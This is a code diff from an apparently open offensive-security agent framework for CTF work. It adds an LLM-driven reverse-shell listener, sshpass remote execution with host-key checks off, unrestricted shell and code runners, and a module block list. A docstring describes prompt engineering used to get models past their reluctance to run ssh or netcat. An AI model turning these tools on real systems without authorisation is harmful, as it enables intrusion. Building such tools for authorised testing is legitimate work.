+                console.print(f"[red]Error: Unknown agent: {agent_name}[/red]")
+                return False
+
+        # Get the agent
+        agent = agents_to_display[agent_name]
+
+        # Set the agent as the current agent in the REPL
+        # We need to avoid circular imports, so we'll use a different approach
+        # to access the client and current_agent variables
+
+        # Import the module dynamically to avoid circular imports
+        if 'cai.repl.repl' in sys.modules:
+            repl_module = sys.modules['cai.repl.repl']
+
+            # Check if client is initialized
+            if hasattr(repl_module, 'client') and repl_module.client:
+                # Update the active_agent in the client
+                repl_module.client.active_agent = agent
+
+                # Update the global current_agent variable if it exists
+                if hasattr(repl_module, 'current_agent'):
+                    repl_module.current_agent = agent
+
+                # Update the global agent variable if it exists
+                if hasattr(repl_module, 'agent'):
+                    repl_module.agent = agent
+
+                # Also update the agent variable in the run_demo_loop
+                # function's frame if possible
+                try:
+                    for frame_info in inspect.stack():
+                        frame = frame_info.frame
+                        if ('run_demo_loop' in frame.f_code.co_name and
+                                'agent' in frame.f_locals):
+                            frame.f_locals['agent'] = agent
+                            break
+                except Exception:  # pylint: disable=broad-except # nosec
+                    # If this fails, we still have the global current_agent as
+                    # a fallback
+                    pass
+
+                console.print(
+                    f"[green]Switched to agent: {agent_name}[/green]")
+                visualize_agent_graph(agent)
+                return True
+            console.print("[red]Error: CAI client not initialized[/red]")
+            return False
+        console.print("[red]Error: REPL module not initialized[/red]")
+        return False
+
+    def handle_info(self, args: Optional[List[str]] = None) -> bool:
+        """Handle /agent info command.
+
+        Args:
+            args: Optional list of command arguments
+
+        Returns:
+            True if the command was handled successfully, False otherwise
+        """
+        if not args:
+            console.print("[red]Error: No agent specified[/red]")
+            console.print("Usage: /agent info <name|number>")
+            return False
+
+        agent_id = args[0]
+
+        # Get the list of available agents
+        agents_to_display = get_available_agents()
+
+        # Check if agent_id is a number
+        if agent_id.isdigit():
+            index = int(agent_id)
+            if 1 <= index <= len(agents_to_display):
+                agent_name = list(agents_to_display.keys())[index - 1]
+            else:
+                console.print(
+                    f"[red]Error: Invalid agent number: {agent_id}[/red]")
+                return False
+        else:
+            # Treat as agent name
+            agent_name = agent_id
+            if agent_name not in agents_to_display:
+                console.print(f"[red]Error: Unknown agent: {agent_name}[/red]")
+                return False
+
+        # Get the agent
+        agent = agents_to_display[agent_name]
+
+        # Display agent information
+        instructions = agent.instructions
+        if callable(instructions):
+            instructions = instructions()
+
+        # Handle model display based on agent type
+        model_display = self._get_model_display_for_info(agent_name, agent)
+
+        # Create a markdown table for agent details
+        markdown_content = f"""
+# Agent: {agent_name}
+
+| Property | Value |
+|----------|-------|
+| Name | {agent.name} |
+| Model | {model_display} |
+| Functions | {len(agent.functions)} |
+| Parallel Tool Calls | {'Yes' if agent.parallel_tool_calls else 'No'} |
+
+## Instructions
+
+{instructions}
+"""
+
+        console.print(Markdown(markdown_content))
+        return True
+
+
+# Register the command
+register_command(AgentCommand())

src/cai/sdk/agents/agent.py

@@ -82,6 +82,9 @@ class Agent(Generic[TContext]):
     return a string.
     """
 
+    description: str | None = None
+    """A description of the agent. This is used in the CLI to show the agent's description."""
+
     handoff_description: str | None = None
     """A description of the agent. This is used when the agent is used as a handoff, so that an
     LLM knows what it does and when to invoke it.

src/cai/tools/command_and_control/command_and_control.py

@@ -0,0 +1,147 @@
+"""
+Command and control utility to power LLM client.
+
+This module provides a reverse shell client implementation that allows an LLM
+control and interact with remote shells.
+It handles starting/stopping listeners,
+sending commands, and managing shell sessions.
+"""
+import socket
+import sys
+import threading
+
+
+class ReverseShellClient:
+    """
+    A reverse shell client that runs in the background and allows the LLM to:
+    - Start/stop listeners
+    - Send commands to connected shells
+    - Access command history and output
+    - Handle multiple shell sessions
+
+    The shells run in the background (second plane) while allowing the LLM to:
+    - Compare and analyze command outputs
+    - Chain commands across sessions
+    - Monitor shell status
+    """
+
+    def __init__(self, host='127.0.0.1', port=4444):
+        """
+        Initialize reverse shell client
+        Args:
+            host: Listener host IP, defaults to all interfaces
+            port: Listener port number, defaults to 4444
+        """
+        self.host = host
+        self.port = port
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.running = False
+        self.listener_thread = None
+        self.command_history = []
+        self.client_socket = None
+
+    def handle_client(self, client_socket):
+        """
+        Handle incoming client connection in background thread
+        Args:
+            client_socket: Connected client socket
+        """
+        self.client_socket = client_socket
+        while True:
+            try:
+                data = client_socket.recv(4096)
+                if not data:
+                    break
+                decoded_data = data.decode()
+                self.command_history.append(decoded_data)
+                sys.stdout.write(decoded_data)
+                sys.stdout.flush()
+            except (OSError, UnicodeDecodeError):
+                break
+        client_socket.close()
+        self.client_socket = None
+
+    def start_listener(self):
+        """Start listener thread in background"""
+        self.running = True
+        try:
+            self.socket.bind((self.host, self.port))
+            self.socket.listen(1)
+            while self.running:
+                client_socket, _ = self.socket.accept()
+                client_handler = threading.Thread(
+                    target=self.handle_client,
+                    args=(client_socket,)
+                )
+                client_handler.daemon = True
+                client_handler.start()
+        except OSError as e:
+            print(f"Error in listener: {str(e)}")
+        finally:
+            if not self.running:
+                self.socket.close()
+
+    def start(self):
+        """
+        Start the reverse shell listener in background thread
+        Returns:
+            str: Status message with connection details
+        """
+        self.listener_thread = threading.Thread(target=self.start_listener)
+        self.listener_thread.daemon = True
+        self.listener_thread.start()
+        self.socket.close()
+        return f'Listener started on {self.host}:{self.port}'
+
+    def stop(self):
+        """
+        Stop the reverse shell listener
+        Returns:
+            dict: Status message
+            dict: Status including host and port
+        """
+        self.running = False
+        if self.client_socket:
+            self.client_socket.close()
+        self.socket.close()
+        return {"status": "Listener stopped"}
+
+    def send_command(self, command: str):
+        """
+        Send a command to the connected reverse shell
+        The command runs in background and output can be retrieved from history
+        Args:
+            command: Command to execute on target
+        Returns:
+            dict: Status of command execution
+        """
+        if not self.client_socket:
+            return {"status": "error", "message": "No client connected"}
+        try:
+            self.client_socket.send(f"{command}\n".encode())
+            return {"status": "success", "message": "Command sent"}
+        except OSError as e:
+            return {"status": "error", "message": str(e)}
+
+    def show_session(self):
+        """
+        Show the current session status
+        Returns:
+            dict: Session status including host and port
+        """
+        return {"host": self.host, "port": self.port}
+
+    def get_history(self):
+        """
+        Get command history and output for LLM analysis
+        Returns:
+            dict: History of commands and outputs, connection status
+        """
+        connected = "Connected" if self.client_socket else "Not connected"
+        return {
+            "history": self.command_history,
+            "host": self.host,
+            "port": self.port,
+            "status": connected
+        }

src/cai/tools/command_and_control/sshpass.py

@@ -0,0 +1,46 @@
+"""
+SSH Pass tool for executing remote commands via SSH using password authentication.
+
+Example of generalization: to execute a local command we use a bash wrapper
+in `generic_linux_command` and in `execute_cli_command` -> `cai.tools.misc.cli_utils`
+Using these wrappers, commands like `ssh` or `netcat` usually get trapped
+by the LLM, so prompt engineering is used to execute the command locally
+and return the result. Another solution is to implement interactive CLIs, for now this command
+covers all SSH use cases. A much more logical and simpler implementation than
+`hackingbuddyGPT` `https://github.com/ipa-lab/hackingBuddyGPT`
+It handles privilege escalation very well and is autonomous regarding SSH password input,
+something that hasn't been seen in other cybersecurity frameworks yet (Feb 2025)
+"""  # noqa: E501
+
+from cai.tools.misc.cli_utils import execute_cli_command  # pylint: disable=E0401 # noqa: E501
+
+def run_ssh_command_with_credentials(
+        host: str,
+        username: str,
+        password: str,
+        command: str,
+        port: int = 22) -> str:
+    """
+    Execute a command on a remote host via SSH using password authentication.
+
+    Args:
+        host: Remote host address
+        username: SSH username
+        password: SSH password
+        command: Command to execute on remote host
+        port: SSH port (default: 22)
+
+    Returns:
+        str: Output from the remote command execution
+    """
+    # Escape special characters in password and command to prevent shell injection
+    escaped_password = password.replace("'", "'\\''")
+    escaped_command = command.replace("'", "'\\''")
+    
+    ssh_command = (
+        f"sshpass -p '{escaped_password}' "
+        f"ssh -o StrictHostKeyChecking=no "
+        f"{username}@{host} -p {port} "
+        f"'{escaped_command}'"
+    )
+    return execute_cli_command(ssh_command)

src/cai/tools/common.py

@@ -0,0 +1,296 @@
+"""
+Basic utilities for executing tools
+inside or outside of virtual containers.
+"""
+
+import subprocess  # nosec B404
+import threading
+import os
+import pty
+import signal
+import time
+import uuid
+from wasabi import color  # pylint: disable=import-error
+
+# Global dictionary to store active sessions
+ACTIVE_SESSIONS = {}
+
+
+class ShellSession:  # pylint: disable=too-many-instance-attributes
+    """Class to manage interactive shell sessions"""
+
+    def __init__(self, command, session_id=None, ctf=None):
+        self.session_id = session_id or str(uuid.uuid4())[:8]
+        self.command = command
+        self.ctf = ctf
+        self.process = None
+        self.master = None
+        self.slave = None
+        self.output_buffer = []
+        self.is_running = False
+        self.last_activity = time.time()
+
+    def start(self):
+        """Start the shell session"""
+        if self.ctf:
+            # For CTF environments
+            self.is_running = True
+            self.output_buffer.append(
+                f"[Session {
+                    self.session_id}] Started CTF command: {
+                    self.command}")
+            try:
+                output = self.ctf.get_shell(self.command)
+                self.output_buffer.append(output)
+            except Exception as e:  # pylint: disable=broad-except
+                self.output_buffer.append(f"Error: {str(e)}")
+            self.is_running = False
+            return
+
+        # For local environment
+        try:
+            # Create a pseudo-terminal
+            self.master, self.slave = pty.openpty()
+
+            # Start the process
+            self.process = subprocess.Popen(  # pylint: disable=subprocess-popen-preexec-fn, consider-using-with # noqa: E501
+                self.command,
+                shell=True,  # nosec B602
+                stdin=self.slave,
+                stdout=self.slave,
+                stderr=self.slave,
+                preexec_fn=os.setsid,  # Create a new process group
+                universal_newlines=True
+            )
+
+            self.is_running = True
+            self.output_buffer.append(
+                f"[Session {
+                    self.session_id}] Started: {
+                    self.command}")
+
+            # Start a thread to read output
+            threading.Thread(target=self._read_output, daemon=True).start()
+        except Exception as e:  # pylint: disable=broad-except
+            self.output_buffer.append(f"Error starting session: {str(e)}")
+            self.is_running = False
+
+    def _read_output(self):
+        """Read output from the process"""
+        try:
+            while self.is_running:
+                try:
+                    output = os.read(self.master, 1024).decode()
+                    if output:
+                        self.output_buffer.append(output)
+                        self.last_activity = time.time()
+                except OSError:
+                    # No data available or terminal closed
+                    time.sleep(0.1)
+                    if not self.is_process_running():
+                        self.is_running = False
+                        break
+        except Exception as e:  # pylint: disable=broad-except
+            self.output_buffer.append(f"Error reading output: {str(e)}")
+            self.is_running = False
+
+    def is_process_running(self):
+        """Check if the process is still running"""
+        if not self.process:
+            return False
+        return self.process.poll() is None
+
+    def send_input(self, input_data):
+        """Send input to the process"""
+        if not self.is_running:
+            return "Session is not running"
+
+        try:
+            if self.ctf:
+                # For CTF environments
+                output = self.ctf.get_shell(input_data)
+                self.output_buffer.append(output)
+                return "Input sent to CTF session"
+
+            # For local environment
+            input_data = input_data.rstrip() + "\n"
+            os.write(self.master, input_data.encode())
+            self.last_activity = time.time()
+            return "Input sent to session"
+        except Exception as e:  # pylint: disable=broad-except
+            return f"Error sending input: {str(e)}"
+
+    def get_output(self, clear=True):
+        """Get and optionally clear the output buffer"""
+        output = "\n".join(self.output_buffer)
+        if clear:
+            self.output_buffer = []
+        return output
+
+    def terminate(self):
+        """Terminate the session"""
+        if not self.is_running:
+            return "Session already terminated"
+
+        try:
+            self.is_running = False
+
+            if self.process:
+                # Try to terminate the process group
+                try:
+                    os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)
+                except BaseException:  # pylint: disable=bare-except,broad-except # noqa: E501
+                    # If that fails, try to terminate just the process
+                    self.process.terminate()
+
+                # Clean up resources
+                if self.master:
+                    os.close(self.master)
+                if self.slave:
+                    os.close(self.slave)
+
+            return f"Session {self.session_id} terminated"
+        except Exception as e:  # pylint: disable=broad-except
+            return f"Error terminating session: {str(e)}"
+
+
+def create_shell_session(command, ctf=None):
+    """Create a new shell session"""
+    session = ShellSession(command, ctf=ctf)
+    session.start()
+    ACTIVE_SESSIONS[session.session_id] = session
+    return session.session_id
+
+
+def list_shell_sessions():
+    """List all active shell sessions"""
+    result = []
+    for session_id, session in list(ACTIVE_SESSIONS.items()):
+        # Clean up terminated sessions
+        if not session.is_running:
+            del ACTIVE_SESSIONS[session_id]
+            continue
+
+        result.append({
+            "session_id": session_id,
+            "command": session.command,
+            "running": session.is_running,
+            "last_activity": time.strftime(
+                "%H:%M:%S",
+                time.localtime(session.last_activity))
+        })
+    return result
+
+
+def send_to_session(session_id, input_data):
+    """Send input to a specific session"""
+    if session_id not in ACTIVE_SESSIONS:
+        return f"Session {session_id} not found"
+
+    session = ACTIVE_SESSIONS[session_id]
+    return session.send_input(input_data)
+
+
+def get_session_output(session_id, clear=True):
+    """Get output from a specific session"""
+    if session_id not in ACTIVE_SESSIONS:
+        return f"Session {session_id} not found"
+
+    session = ACTIVE_SESSIONS[session_id]
+    return session.get_output(clear)
+
+
+def terminate_session(session_id):
+    """Terminate a specific session"""
+    if session_id not in ACTIVE_SESSIONS:
+        return f"Session {session_id} not found"
+
+    session = ACTIVE_SESSIONS[session_id]
+    result = session.terminate()
+    del ACTIVE_SESSIONS[session_id]
+    return result
+
+
+def _run_ctf(ctf, command, stdout=False, timeout=100):
+    try:
+        # Ensure the command is executed in a shell that supports command
+        # chaining
+        output = ctf.get_shell(command, timeout=timeout)
+        # exploit_logger.log_ok()
+
+        if stdout:
+            print("\033[32m" + output + "\033[0m")
+        return output  # output if output else result.stder
+    except Exception as e:  # pylint: disable=broad-except
+        print(color(f"Error executing CTF command: {e}", fg="red"))
+        # exploit_logger.log_error(str(e))
+        return f"Error executing CTF command: {str(e)}"
+
+
+def _run_local(command, stdout=False, timeout=100):
+    try:
+        # nosec B602 - shell=True is required for command chaining
+        result = subprocess.run(
+            command,
+            shell=True,  # nosec B602
+            capture_output=True,
+            text=True,
+            check=False,
+            timeout=timeout)
+        output = result.stdout if result.stdout else result.stderr
+        if stdout:
+            print("\033[32m" + output + "\033[0m")
+        return output
+    except subprocess.TimeoutExpired as e:
+        error_output = e.stdout.decode() if e.stdout else str(e)
+        if stdout:
+            print("\033[32m" + error_output + "\033[0m")
+        return error_output
+    except Exception as e:  # pylint: disable=broad-except
+        error_msg = f"Error executing local command: {e}"
+        print(color(error_msg, fg="red"))
+        return error_msg
+
+
+def run_command(command, ctf=None, stdout=False,  # pylint: disable=too-many-arguments # noqa: E501
+                async_mode=False, session_id=None,
+                timeout=100):
+    """
+    Run command either in CTF container or on the local attacker machine
+
+    Args:
+        command: The command to execute
+        ctf: CTF environment object (if running in CTF)
+        stdout: Whether to print output to stdout
+        async_mode: Whether to run the command asynchronously
+        session_id: ID of an existing session to send the command to
+
+    Returns:
+        str: Command output, status message, or session ID
+    """
+    # If session_id is provided, send command to that session
+    if session_id:
+        if session_id not in ACTIVE_SESSIONS:
+            return f"Session {session_id} not found"
+
+        result = send_to_session(session_id, command)
+        if stdout:
+            output = get_session_output(session_id, clear=False)
+            print("\033[32m" + output + "\033[0m")
+        return result
+
+    # If async_mode, create a new session
+    if async_mode:
+        session_id = create_shell_session(command, ctf)
+        if stdout:
+            # Wait a moment for initial output
+            time.sleep(0.5)
+            output = get_session_output(session_id, clear=False)
+            print("\033[32m" + output + "\033[0m")
+        return f"Created session {
+            session_id}. Use this ID to interact with the session."
+
+    # Otherwise, run command normally
+    if ctf:
+        return _run_ctf(ctf, command, stdout, timeout)
+    return _run_local(command, stdout, timeout)

src/cai/tools/exploitation/.gitkeep

@@ -0,0 +1,2 @@
+#MsfModuleSelectionTool
+#MsfModuleExecTool

src/cai/tools/lateral_movement/.gitkeep

@@ -0,0 +1,2 @@
+#SSHTestCredentialTool
+#SSHRunCommandTool

src/cai/tools/misc/cli_utils.py

@@ -0,0 +1,23 @@
+"""
+CLI utilities module for executing shell commands and processing their output.
+"""
+
+from cai.tools.common import run_command  # pylint: disable=E0401
+
+
+def execute_cli_command(command: str) -> str:
+    """
+    Execute a CLI command and return the output.
+
+    Args:
+        command (str): The command to execute.
+        Should be concise and focused.
+
+        Avoid overly verbose commands
+        with unnecessary flags/options.
+
+    Returns:
+        str: Command output, formatted for clarity and readability.
+            Long outputs will be truncated or filtered
+    """
+    return run_command(command)

src/cai/tools/misc/code_interpreter.py

@@ -0,0 +1,43 @@
+"""
+Module for executing Python code and capturing its output.
+"""
+
+import io
+import sys
+from typing import Dict
+
+
+def execute_python_code(code: str, context: Dict = None) -> str:
+    """
+    Execute Python code and return the output.
+
+    Args:
+        code (str): Python code to execute
+        context (Dict, optional): Additional context for execution
+
+    Returns:
+        str: Output from code execution
+    """
+    try:
+        local_vars = {}
+        if context:
+            local_vars.update(context)
+
+        # Capture output using StringIO
+        stdout = io.StringIO()
+        sys.stdout = stdout
+
+        # Execute code once with captured output
+        # nosec B102 # pylint: disable=exec-used
+        exec(code, globals(), local_vars)  # nosec 102
+
+        # Restore stdout
+        sys.stdout = sys.__stdout__
+        output = stdout.getvalue()
+
+        # Return captured output or last expression value
+        return output if output else str(
+            local_vars.get('__builtins__', {}).get('_', None))
+
+    except Exception as e:  # pylint: disable=broad-except
+        return f"Error executing code: {str(e)}"

src/cai/tools/misc/rag.py

@@ -0,0 +1,115 @@
+"""
+RAG (Retrieval Augmented Generation) utilities module for
+querying and adding data to vector databases.
+"""
+import os
+import uuid
+from cai.rag.vector_db import QdrantConnector
+
+
+# CTF BASED MEMORY
+collection_name = os.getenv('CAI_MEMORY_COLLECTION', "default")
+
+
+def query_memory(query: str, top_k: int = 3, **kwargs) -> str:  # pylint: disable=unused-argument,line-too-long # noqa: E501
+    """
+    Query memory to retrieve relevant context. From Previous CTFs executions.
+
+    Args:
+        query (str): The search query to find relevant documents
+        top_k (int): Number of top results to return (default: 3)
+
+    Returns:
+        str: Retrieved context from the vector database, formatted as a string
+            with the most relevant matches
+    """
+    try:
+        qdrant = QdrantConnector()
+
+        # First try semantic search
+        results = qdrant.search(
+            collection_name="_all_",
+            query_text=query,
+            limit=top_k,
+        )
+
+        # If no results, fall back to retrieving all documents
+        if not results:
+            return "No documents found in memory."
+
+        return results
+
+    except Exception:  # pylint: disable=broad-exception-caught
+        return results
+
+
+def add_to_memory_episodic(texts: str, step: int = 0, **kwargs) -> str:  # pylint: disable=unused-argument,line-too-long # noqa: E501
+    """
+    This is a persistent memory to add relevant context to our memory.
+    Use this function to add relevant context to the memory.
+
+    Args:
+        texts: relevant data to add to memory
+        step: step number of the current CTF
+    Returns:
+        str: Status message indicating success or failure
+    """
+    try:
+        qdrant = QdrantConnector()
+        try:
+            qdrant.create_collection(collection_name)
+        except Exception:  # nosec # pylint: disable=broad-exception-caught
+            pass
+
+        success = qdrant.add_points(
+            id_point=step,
+            collection_name=collection_name,
+            texts=[texts],
+            metadata=[{"CTF": True}]
+        )
+
+        if success:
+            return f"Successfully added document to collection {
+                collection_name}"
+        return "Failed to add documents to vector database"
+
+    except Exception as e:  # pylint: disable=broad-exception-caught
+        return f"Error adding documents to vector database: {str(e)}"
+
+
+def add_to_memory_semantic(texts: str, step: int = 0, **kwargs) -> str:  # pylint: disable=unused-argument,line-too-long # noqa: E501
+    """
+    This is a persistent memory to add relevant context to our memory.
+    Use this function to add relevant context to the memory.
+
+    Args:
+        texts: relevant data to add to memory, no PII data about CTF env,
+        only techniques and procedures
+        do not include any information about IP
+        be explicit with the tecnhiques and reasoning process
+        step: step number of the current CTF
+    Returns:
+        str: Status message indicating success or failure
+    """
+    doc_id = str(uuid.uuid4())
+    try:
+        qdrant = QdrantConnector()
+        try:
+            qdrant.create_collection("_all_")
+        except Exception:  # nosec # pylint: disable=broad-exception-caught
+            pass
+
+        success = qdrant.add_points(
+            id_point=doc_id,
+            collection_name="_all_",
+            texts=[texts],
+            metadata=[{"CTF": collection_name}, {"step": step}]
+        )
+
+        if success:
+            return f"Successfully added document to collection {
+                collection_name}"
+        return "Failed to add documents to vector database"
+
+    except Exception as e:  # pylint: disable=broad-exception-caught
+        return f"Error adding documents to vector database: {str(e)}"

src/cai/tools/misc/reasoning.py

@@ -0,0 +1,83 @@
+"""
+Reasoning tools module for tracking thoughts, findings and analysis
+Provides utilities for recording and retrieving key information discovered
+during CTF progression.
+"""
+
+
+def thought(breakdowns: str = "", reflection: str = "",  # pylint: disable=too-many-arguments  # noqa: E501
+            action: str = "", next_step: str = "", key_clues: str = "",
+            ctf=None) -> str:  # pylint: disable=unused-argument  # noqa: E501
+    """
+    Tool used to express detailed thoughts and analysis during boot2root CTF.
+
+    Args:
+        breakdowns: Detailed breakdown of current situation/findings
+        reflection: Reflections on progress and insights gained
+        action: Current or planned actions
+        next_step: Next steps to take
+        key_clues: Important clues or hints discovered
+        ctf: CTF object to use for context
+    Returns:
+        str: Formatted string containing the provided thoughts and analysis
+    """
+    output = []
+    if breakdowns:
+        output.append(f"Thought: {breakdowns}")
+    if reflection:
+        output.append(f"Reflection: {reflection}")
+    if action:
+        output.append(f"Action: {action}")
+    if next_step:
+        output.append(f"Next Step: {next_step}")
+    if key_clues:
+        output.append(f"Key Clues: {key_clues}")
+    return "\n".join(output)
+
+
+def write_key_findings(findings: str) -> str:
+    """
+    Write key findings to a state.txt file to track important CTF details.
+    Only records critical information like:
+    - Discovered credentials
+    - Found vulnerabilities
+    - Privilege escalation vectors
+    - Important system access details
+    - Other key findings needed for progression
+
+    Args:
+        findings: String containing the key findings to append to state.txt
+
+    Returns:
+        String confirming the findings were written
+    """
+    try:
+        with open("state.txt", "a", encoding="utf-8") as f:
+            f.write("\n" + findings + "\n")
+        return f"Successfully wrote findings to state.txt:\n{findings}"
+    except OSError as e:
+        return f"Error writing to state.txt: {str(e)}"
+
+
+def read_key_findings() -> str:
+    """
+    Read key findings from the state.txt file to retrieve important data
+    Retrieves critical information like:
+    - Discovered credentials
+    - Found vulnerabilities
+    - Privilege escalation vectors
+    - Important system access details
+    - Other key findings needed for progression
+
+    Returns:
+        String containing all findings from state.txt, or error message
+        if file not found
+    """
+    try:
+        with open("state.txt", encoding="utf-8") as f:
+            findings = f.read()
+        return findings or "Not finding"
+    except FileNotFoundError:
+        return "state.txt file not found. No findings have been recorded."
+    except OSError as e:
+        return f"Error reading state.txt: {str(e)}"

src/cai/tools/others/scripting.py

@@ -0,0 +1,130 @@
+"""
+This is used to create and execute a script in python
+"""
+# pylint: disable=import-error
+# run_command is used in other parts of the codebase that import this module
+
+# pylint: disable=too-many-locals,too-many-branches
+
+
+def scripting_tool(
+        command: str = "",
+        args: str = "",
+        ctf=None  # pylint: disable=unused-argument
+) -> str:
+    """Scripting tool for executing Python code directly in memory.
+    IMPORTANT: Use with caution - executes Python code directly.
+    IMPORTANT: Remember to import all the modules and libraries you need.
+
+    Args:
+        command: Python code, with or without markdown format. Can handle:
+            - Raw Python code
+            - Markdown formatted code (```python\\ncode)
+            - Code with leading/trailing whitespace
+        args: Additional command line arguments
+        ctf: CTF context object (unused but required for tool interface)
+
+    Returns:
+        str: Output from the executed Python code
+
+    Raises:
+        ValueError: If the command is empty or invalid
+        SecurityError: If potentially dangerous operations are detected
+    """
+    # pylint: disable=import-outside-toplevel
+    import re
+    import sys
+    from io import StringIO
+    import ast
+
+    if not command or not isinstance(command, str):
+        raise ValueError("Command must be a non-empty string")
+
+    command = command.strip()
+
+    markdown_patterns = [
+        r"^```python\n(.*?)\n```",  # Standard markdown
+        r"^```python(.+?)```",      # No newlines
+        r"^```\n(.*?)\n```",        # No language specified
+        r"^`{1,3}(.*?)`{1,3}"      # Single or triple backticks
+    ]
+    script = command
+    for pattern in markdown_patterns:
+        match = re.search(pattern, command, re.DOTALL)
+        if match:
+            script = match.group(1)
+            break
+
+    script = script.strip()
+    if not script:
+        raise ValueError("No valid Python code found in command")
+
+    try:
+        tree = ast.parse(script)
+        for node in ast.walk(tree):
+            if isinstance(node, (ast.Import, ast.ImportFrom)
+                          ):  # Check for potentially dangerous operations
+                module = node.names[0].name.split('.')[0]
+                if module in ['os', 'sys', 'subprocess', 'shutil']:
+                    raise SecurityError(
+                        f"Importing potentially dangerous module: {module}")
+    except SyntaxError as e:
+        return f"Python syntax error: {str(e)}"
+    except SecurityError as e:
+        return f"Security check failed: {str(e)}"
+
+    # Capture stdout
+    old_stdout = sys.stdout
+    redirected_output = StringIO()
+    sys.stdout = redirected_output
+
+    try:
+        local_vars = {}
+        if args:
+            local_vars['args'] = args
+
+        # Create a restricted environment for execution
+        safe_builtins = {
+            'abs': abs, 'all': all, 'any': any, 'ascii': ascii,
+            'bin': bin, 'bool': bool, 'bytearray': bytearray,
+            'bytes': bytes, 'chr': chr, 'complex': complex,
+            'dict': dict, 'divmod': divmod, 'enumerate': enumerate,
+            'filter': filter, 'float': float, 'format': format,
+            'frozenset': frozenset, 'hash': hash, 'hex': hex,
+            'int': int, 'isinstance': isinstance, 'issubclass': issubclass,
+            'iter': iter, 'len': len, 'list': list, 'map': map,
+            'max': max, 'min': min, 'next': next, 'object': object,
+            'oct': oct, 'ord': ord, 'pow': pow, 'print': print,
+            'range': range, 'repr': repr, 'reversed': reversed,
+            'round': round, 'set': set, 'slice': slice, 'sorted': sorted,
+            'str': str, 'sum': sum, 'tuple': tuple, 'type': type,
+            'zip': zip
+        }
+
+        # Parse the script to check for potentially dangerous operations
+        try:
+            parsed = ast.parse(script)
+            # Add additional security checks here if needed
+
+            # Execute in a restricted environment
+            restricted_globals = {'__builtins__': safe_builtins}
+            restricted_globals.update(local_vars)
+
+            # Use compile and eval instead of exec for better control
+            compiled_code = compile(parsed, '<string>', 'exec')
+            # pylint: disable=eval-used
+            eval(compiled_code, restricted_globals)  # nosec B307
+        except Exception as e:  # pylint: disable=broad-exception-caught
+            return f"Error executing script: {str(e)}"
+
+        # Get the output
+        output = redirected_output.getvalue()
+        return output if output else "Code executed successfully (no output)"
+    except Exception as e:  # pylint: disable=broad-exception-caught
+        return f"Error during execution: {str(e)}"
+    finally:
+        sys.stdout = old_stdout  # restore
+
+
+class SecurityError(Exception):  # pylint: disable=missing-class-docstring
+    pass

src/cai/tools/reconnaissance/crypto_tools.py

@@ -0,0 +1,63 @@
+"""
+ Here are crypto tools
+"""
+from cai.tools.common import run_command
+
+# # URLDecodeTool
+# # HexDumpTool
+# # Base64DecodeTool
+# # ROT13DecodeTool
+# # BinaryAnalysisTool
+
+
+def strings_command(file_path: str, ctf=None) -> str:
+    """
+    Extract printable strings from a binary file.
+
+#     Args:
+#         args: Additional arguments to pass to the strings command
+#         file_path: Path to the binary file to extract strings from
+
+#     Returns:
+        str: The output of running the strings command
+    """
+    command = f'strings {file_path}'
+    return run_command(command, ctf=ctf)
+
+
+def decode64(input_data: str, ctf=None) -> str:
+    """
+    Decode a base64-encoded string.
+
+    Args:
+        input_data: The base64-encoded string to decode
+        args: Additional arguments (not used in this function)
+
+    Returns:
+        str: The decoded string
+    """
+    command = f"base64 --decode {input_data}"
+    return run_command(command, ctf=ctf)
+
+
+def decode_hex_bytes(input_data: str) -> str:
+    """
+    Decode a string of hex bytes into ASCII text.
+
+    Input Format:
+    "0xFF 0x00 0x63..."
+    Args:
+        input_data: String containing hex bytes
+
+    Returns:
+        str: The decoded ASCII text
+    """
+    try:
+        # Split the input string and convert hex strings to bytes
+        hex_bytes = [int(x, 16)
+                     for x in input_data.split() if x.startswith('0x')]
+        # Convert bytes to ASCII string
+        decoded = bytes(hex_bytes).decode('ascii')
+        return decoded
+    except (ValueError, UnicodeDecodeError) as e:
+        return f"Error decoding hex bytes: {str(e)}"

src/cai/tools/reconnaissance/curl.py

@@ -0,0 +1,19 @@
+"""
+Here are the curl tools.
+"""
+from cai.tools.common import run_command  # pylint: disable=import-error
+
+
+def curl(args: str = "", target: str = "", ctf=None) -> str:
+    """
+    A simple curl tool to make HTTP requests to a specified target.
+
+    Args:
+        args: Additional arguments to pass to the curl command
+        target: The target URL to request
+
+    Returns:
+        str: The output of running the curl command
+    """
+    command = f'curl {args} {target}'
+    return run_command(command, ctf=ctf)

src/cai/tools/reconnaissance/exec_code.py

@@ -0,0 +1,95 @@
+"""
+Tool for executing code via LLM tool calls.
+"""
+from cai.tools.common import run_command  # pylint: disable=import-error
+
+def execute_code(code: str = "", language: str = "python",
+                filename: str = "exploit", timeout: int = 100, ctf=None) -> str:
+    """
+    Create a file code store it and execute it
+
+    This tool allows for executing code provided in different
+    programming languages. It creates a permanent file with the provided code
+    and executes it using the appropriate interpreter. You can exec this
+    code as many times as you want using `generic_linux_command` tool.
+
+    Priorize: Python and Perl
+
+    Args:
+        code: The code snippet to execute
+        language: Programming language to use (default: python)
+        filename: Base name for the file without extension (default: exploit)
+        timeout: Timeout for the execution (default: 100 seconds)
+                Use high timeout for long running code 
+                Use low timeout for short running code
+    Returns:
+        Command output or error message from execution
+    """
+
+    if not code:
+        return "No code provided to execute"
+
+    # Map file extensions
+    extensions = {
+        "python": "py",
+        "php": "php",
+        "bash": "sh",
+        "ruby": "rb",
+        "perl": "pl",
+        "golang": "go",
+        "javascript": "js",
+        "typescript": "ts",
+        "rust": "rs",
+        "csharp": "cs",
+        "java": "java",
+        "kotlin": "kt"
+    }
+    ext = extensions.get(language.lower(), "txt")
+    full_filename = f"{filename}.{ext}"
+
+    create_cmd = f"cat << 'EOF' > {full_filename}\n{code}\nEOF"
+    result = run_command(create_cmd, ctf=ctf)
+    if "error" in result.lower():
+        return f"Failed to create code file: {result}"
+    if language.lower() == "python":
+        exec_cmd = f"python3 {full_filename}"
+    elif language.lower() == "php":
+        exec_cmd = f"php {full_filename}"
+    elif language.lower() in ["bash", "sh"]:
+        exec_cmd = f"bash {full_filename}"
+    elif language.lower() == "ruby":
+        exec_cmd = f"ruby {full_filename}"
+    elif language.lower() == "perl":
+        exec_cmd = f"perl {full_filename}"
+    elif language.lower() == "golang" or language.lower() == "go":
+        temp_dir = f"/tmp/go_exec_{filename}"
+        run_command(f"mkdir -p {temp_dir}", ctf=ctf)
+        run_command(f"cp {full_filename} {temp_dir}/main.go", ctf=ctf)
